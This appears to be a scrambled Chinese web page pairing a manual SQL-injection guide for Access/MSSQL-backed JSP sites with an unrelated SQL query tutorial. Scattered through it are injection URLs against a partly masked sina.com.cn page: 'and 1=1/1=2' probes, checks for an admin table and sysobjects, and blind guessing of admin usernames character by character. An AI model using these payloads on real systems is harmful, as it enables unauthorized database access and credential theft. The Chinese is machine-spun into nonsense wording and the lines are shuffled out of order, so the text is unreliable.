ACCESSJSP手动注入 全

对此多重分组,只需将分组规则罗列。比如查询各届各专业的孩子同学人数
,那么分组规则有:届别(grade)、专业(mno)和

Access:asc(字符) SQLServer:unicode(字符)

a.对于排序order,有二种格局:asc升序和desc降序

3.对此时间档次变量的拍卖

左连接特点:呈现任何左侧表中的有着品种,就算个中多少项中的数据未填写完全。

(ACCESS数据库)

http://\*\*\*\*.house.sina.com.cn/publics/detail.jsp?id=7674 and exists
(select id from admin where len(username)=5 and ID=1)

select grade, mno, gender, count(*) from students group by grade, mno,
gender

上边的询问艺术是荒唐的,正确方法见下方:

效用:重返某字符的ASCII码

select students.* from students, grades where students.sno=grades.sno
AND grades.cno <> ’B2’

d.like:select * from students where name like ’李%’
(注意查询条件中有“%”,则证实是局地匹配,而且还有先后音讯在其间,即查找以“李”起首的匹配项。所以若查询有“李”的拥有目的,应该命令:’%李%’;若是第②个字为李,则应为’_李%’或’_李’或’_李_’。)

http://\*\*\*\*.house.sina.com.cn/publics/detail.jsp?id=7674
and exists (select id from admin where asc(mid(username,1,1))=97 and
ID=1)

两边表中的内容全方位出示

c.max(列)和min(列),求最大与纤维

http://\*\*\*\*.house.sina.com.cn/publics/detail.jsp?id=7674 and exists
(select id from admin where unicode(substring(username,1,1))=97 and
ID=1)

(MSSQL数据库)

c.注意区分在嵌套查询中选取的any与all的区分,any也正是逻辑运算“||”而all则相当于逻辑运算“&&”

a.对于有空格的辨认名称,应该用”[]”括住。

a.用关键字IN,如查询猪猪山的同乡:

最外一重:从学生表中选,排除那三个有课没选的。用not
exist。由于钻探对象是学科,所以第1重查询从course表中找,排除这个选了课的即可

select * from students where sno in (select sno from grades where
cno=’B2’)

c.“=”:select * from students where name = ’李山’

6.UNION联合

Access:A between B And C SQLServer:A between B And C

http://\*\*\*\*.house.sina.com.cn/publics/detail.jsp?id=7674 and exists
(select id from admin where unicode(substring(username,1,1)) between 90
and 100 and ID=1)

http://\*\*\*\*.house.sina.com.cn/publics/detail.jsp?id=7674 and exists
(select * from admin)

检测是或不是为MSSQL数据库

a.用as关键字:select name as ’姓名’ from students order by age

检查和测试表段的

and exists(Select top 1 * From 用户 order by id)

a.count()求和,如:select count(*) from students (求学生总人数)

(注意能够引用外号)

检查和测试是还是不是注入

检查和测试是不是为英文

select * from students where native in (select native from students
where name=’猪猪’)

8.嵌套询问

常用函数

运用别称解决难题。

性别(gender),所以有”group by grade, mno, gender”

http://\*\*\*\*.house.sina.com.cn/publics/detail.jsp?id=7674 and exists
(select id from admin where len(username)=5 and ID=1)

(MSSQL数据库)

http://\*\*\*\*.house.sina.com.cn/publics/detail.jsp?id=7674 and 1=2
(出错页面)

a.smalldatetime:直接依据字符串处理的不二法门举办处理,例如:select * from
students where birth > = ’1980-1-1’ and birth <= ’1980-12-31’

a.用in限定范围:select * from students where native in (’湖南’, ’四川’)

9.有关排序order

b.直接代表:select name ’姓名’ from students order by age

检查和测试长度的

检查和测试字段的

合并查询结果,如:

select lastname+firstname from lastname CROSS JOIN firstanme

select sno,count(*) from grades where mark<60 group by sno having
count(*)>1

http://\*\*\*\*.house.sina.com.cn/publics/detail.jsp?id=7674 and exists
(select id from admin where unicode(substring(username,1,1)) between 30
and 130 and ID=1)

b2.右连接

左外连接重回那些存在于左表而右表中却从不的行,再增加内接连的行。

检查和测试那多少个字符

5.分组group

b.外连接

2.可靠查找:

http://\*\*\*\*.house.sina.com.cn/publics/detail.jsp?id=7674 and exists
(select * from sysobjects)

d.交*连接

b.between…and:select * from students where age between 20 and 30

select sno,count(*) ,avg(mark) from grades group by sno having
avg(mark)>85 order by 3

 

http://\*\*\*\*.house.sina.com.cn/publics/detail.jsp?id=7674 and exists
(select id from admin where asc(mid(username,1,1)) between 30 and 130
and ID=1)

1.在询问结果中彰显列名:

b1.左连接

11.关于有难度多重嵌套查询的缓解思想:如,select * from students where
not exists (select * from courses where NOT EXISTS (select * from
grades where sno=students.sno AND cno=courses.cno))

作用:与asc相反,依照ASCII码重临字符

b.avg(列)求平均,如:select avg(mark) from grades where cno=’B2’

b.对于某列中从不数据的特定查询能够用null判断,如select sno,courseno from
grades where mark IS NULL

效率:判断A是不是界于B与C之间

Access:chr(数字) SQLServer:nchar(数字)

4.集函数

(ACCESS数据库)

http://\*\*\*\*.house.sina.com.cn/publics/detail.jsp?id=7674 and exists
(select id from admin where ID=1)

d.注目的在于做否定意义的查询是小心进入陷阱:

b3.全连接

e.[]合作检查符:select * from courses where cno like ’[AC]%’
(表示或的关联,与”in(…)”类似,而且”[]”可以表示范围,如:select *
from courses where cno like ’[A-C]%’)

Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)

Select * FROM students Where name like ‘张%’UNION [ALL] Select *
FROM students Where name like ‘李%’

select courses.cno,max(coursename),count(sno) from courses LEFT JOIN
grades ON courses.cno=grades.cno group by courses.cno

b.使用首要字EXIST,比如,上面两句是等价的:

功效:再次来到字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串

c.本身连接

与左连接类似

职能:重回数字的相对值(在猜解汉字的时候会用到)

b.对于排序order,能够依据查询条件中的某项排列,而且那项可用数字代表,如:

检测ID

http://\*\*\*\*.house.sina.com.cn/publics/detail.jsp?id=7674 and exists
(select username from admin)

Access:abc(数字) SQLServer:abc (数字)

select sno,name,major from students FULL JOIN majors ON
students.mno=majors.mno

(ACCESS数据库)

select * from students where exists (select * from grades where
grades.sno=students.sno AND cno=’B2’)

select * from students where not exists (select * from grades where
grades.sno=students.sno AND cno=’B2’)

http://\*\*\*\*.house.sina.com.cn/publics/detail.jsp?id=7674 and exists
(select id from admin where asc(mid(username,1,1)) between 90 and 100
and ID=1)

http://\*\*\*\*.house.sina.com.cn/publics/detail.jsp?id=7674 and 1=1
(符合规律页面)

10.其他

注意:从哪一种角度分组就从哪列”group by”

一定于做笛卡儿积

a.内连接

如,没有选修‘B2’课程的学员 :

7.多表查询

常备group还和having联用,比如查询1门课之上不及格的上学的小孩子,则按学号(sno)分类有:

select g.sno,s.name,c.coursename from grades g JOIN students s ON
g.sno=s.sno JOIN courses c ON g.cno=c.cno

(MSSQL数据库)

检查和测试英文的限制

常用来总计时,如分组查总数:select gender,count(sno) from students group
by gender(查看男女学生各有微微)

select c1.cno,c1.coursename,c1.pno,c2.coursename from courses c1,courses
c2 where c1.pno=c2.cno

检查和测试长度的

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